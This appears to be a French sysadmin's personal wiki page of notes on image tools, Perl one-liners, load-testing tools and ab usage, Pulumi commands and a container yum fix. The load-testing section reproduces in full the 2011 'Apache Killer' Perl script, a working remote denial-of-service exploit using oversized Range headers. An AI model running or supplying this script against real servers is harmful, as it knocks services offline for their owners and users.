Table des matières
- 2026:
- 2025:
13 billet(s) pour novembre 2026
| Réseaux - protocole QUIC mieux que TCP | 2026/11/17 21:26 | Jean-Baptiste |
| Notes conversion JSON YAML | 2026/11/13 11:16 | Jean-Baptiste |
| Git commit perdu | 2026/11/12 18:16 | Jean-Baptiste |
| Notes mojo lang | 2026/11/11 20:34 | Jean-Baptiste |
| Notes rust lang compilation | 2026/11/11 18:35 | Jean-Baptiste |
| Mémoire VSIZE VMSIZE SEGV lang C | 2026/11/11 15:59 | Jean-Baptiste |
| Ansible-navigator utilisation de ansible-vault | 2026/11/06 11:33 | Jean-Baptiste |
| Err Ansible - Module result deserialization failed No start of json char found | 2026/11/06 09:09 | Jean-Baptiste |
| Script Python conversion JSON vers CSV | 2026/11/06 08:14 | Jean-Baptiste |
| Filter Incoming IPv4 Packets Containing IP Options - cve-2026-98432 mitigation - Kernel TCP Use-After-Free | 2026/11/04 21:04 | Jean-Baptiste |
| Notes ZFS | 2026/11/03 18:04 | Jean-Baptiste |
| Diff image container | 2026/11/03 16:30 | Jean-Baptiste |
| Notes processus multi-thread | 2026/11/03 10:59 | Jean-Baptiste |
Photos
Logiciels de traitement de l'images
Logiciels éditeur :
- Gimp
- Darktable
- G'MIC
Logiciel lecteur :
- ristretto
Autres logiciels :
Web à la Google Photo :
- Immich (WebUI & App Android)
Formats
Perl one-liners
Supprimer tous les caractères non-imprimables (sauf les \n)
perl -lpe 's/[[:^print:]]+//g' fichier.txt
Enlever toutes les lignes en double (doublon)
perl -ne 'print unless $a{$_}++' fichier.txt
Afficher les lignes en double préfixés par leur numéro de ligne
perl -ne 'print "$. $_" if $a{$_}++' fichier.txt
Perf test de charge
Liens :
Outils analyse :
- atop
- sar / sysstat
- tload
- munin
Outils charge :
- jmeters
- ab (apache)
- artillery.io
- gatling
- script perl Apache Killer (Remote DOS Perl Script)
- hey
Autre :
Jmeter
Voir aussi :
- Gatling
Voir
AB
Voir aussi :
- httperf
Bloquer les attaques DOS
https://www.devside.net/wamp-server/load-testing-apache-with-ab-apache-bench
Exemple :
ab -n 1000 -c 5 http://acme.fr/ ab -r -n 100 -c 10 -k -H "Accept-Encoding: gzip, deflate" http://acme.fr/ ab -n 500 -c 100 -g out.data http://acme.fr/ ab -n 10 -c 5 -A utilisateur:P@ssw0rd http://acme.fr/
-n : nombre de requêtes\ -c : concurence, nombre de requête simultanées\ -k : HTTP KeepAlive\ -e apache.csv : Export les données dans un fihcier CSV\ -r : Ne pas se terminer si erreur sur le socket\ -f : Spécificer le protocol SSL/TLS\ -A : Authentification\ -C : cookie-name=value
Script Perl Apache Killer (Remote DOS Perl Script)
Source : http://seclists.org/fulldisclosure/2011/Aug/175
killapache_pl
#Apache httpd Remote Denial of Service (memory exhaustion) #By Kingcope #Year 2011 # # Will result in swapping memory to filesystem on the remote side # plus killing of processes when running out of swap space. # Remote System becomes unstable. # use IO::Socket; use Parallel::ForkManager; sub usage { print "Apache Remote Denial of Service (memory exhaustion)\n"; print "by Kingcope\n"; print "usage: perl killapache.pl <host> [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; $x = ""; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; while(<$sock>) { } $pm->finish; } $pm->wait_all_children; print ":pPpPpppPpPPppPpppPp\n"; } sub testapache { my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; $x = <$sock>; if ($x =~ /Partial/) { print "host seems vuln\n"; return 1; } else { return 0; } } if ($#ARGV < 0) { usage; exit; } if ($#ARGV > 1) { $numforks = $ARGV[1]; } else {$numforks = 50;} $v = testapache(); if ($v == 0) { print "Host does not seem vulnerable\n"; exit; } while(1) { killapache(); }
Cloud Pulumi
Voir aussi :
- Terraform / OpenTofu
- Crossplane / Kubevela
- Winglang / Darklang
Voir :
- Deskypus
Pulumi
openssl rand -base64 32 | sed -e "y/\\/+/\$_/" -e "s/=//g" > ~/.pulumi/passphrase.cfg chmod 600 ~/.pulumi/passphrase.cfg export PULUMI_CONFIG_PASSPHRASE_FILE=~/.pulumi/passphrase.cfg pulumi login --local pulumi stack init pulumi stack ls pulumi config set cloud:provider aws pulumi config set aws:region us-west-2 pulumi stack up curl $(pulumi stack output url) pulumi logs -f pulumi destroy --yes pulumi stack rm --yes
Pb yum - L'appel à la commande yum reset la conf yum.repos.d
podman run -ti aah.acme.local/ee-minimal-rhel8:latest /bin/bash cat /etc/yum.repo.d/redhat.repo microdnf update error: package python3-pathspec-0.6.0-1.el8.noarch cannot be verified and repo Default_Organization_EPEL8_EPEL8_x86_64 is GPG enabled: /var/cache/yum/metadata/Default_Organization_EPEL8_EPEL8_x86_64-8-x86_64/packages/python3-pathspec-0.6.0-1.el8.noarch.rpm could not be verified. /var/cache/yum/metadata/Default_Organization_EPEL8_EPEL8_x86_64-8-x86_64/packages/python3-pathspec-0.6.0-1.el8.noarch.rpm: digest: SIGNATURE
A l'intérieur d'un conteneur à chaque appel à la commande microdnf le fichier /etc/yum.repo.d/redhat.repo est réécrasé.
La conf provient de Satellite.
/etc/rhsm-host/rhsm.conf
[server] hostname = lb-capsule.acme.local [rhsm] baseurl = https://lb-capsule.acme.local/pulp/repos
Je test
sed -i -e 's/^gpgcheck=true/gpgcheck=false/g' /etc/yum.repos.d/redhat.repo
Mais la conf est réécrasée, il n'y a pas de persistance.
Solution
mkdir /var/lib/rhsm
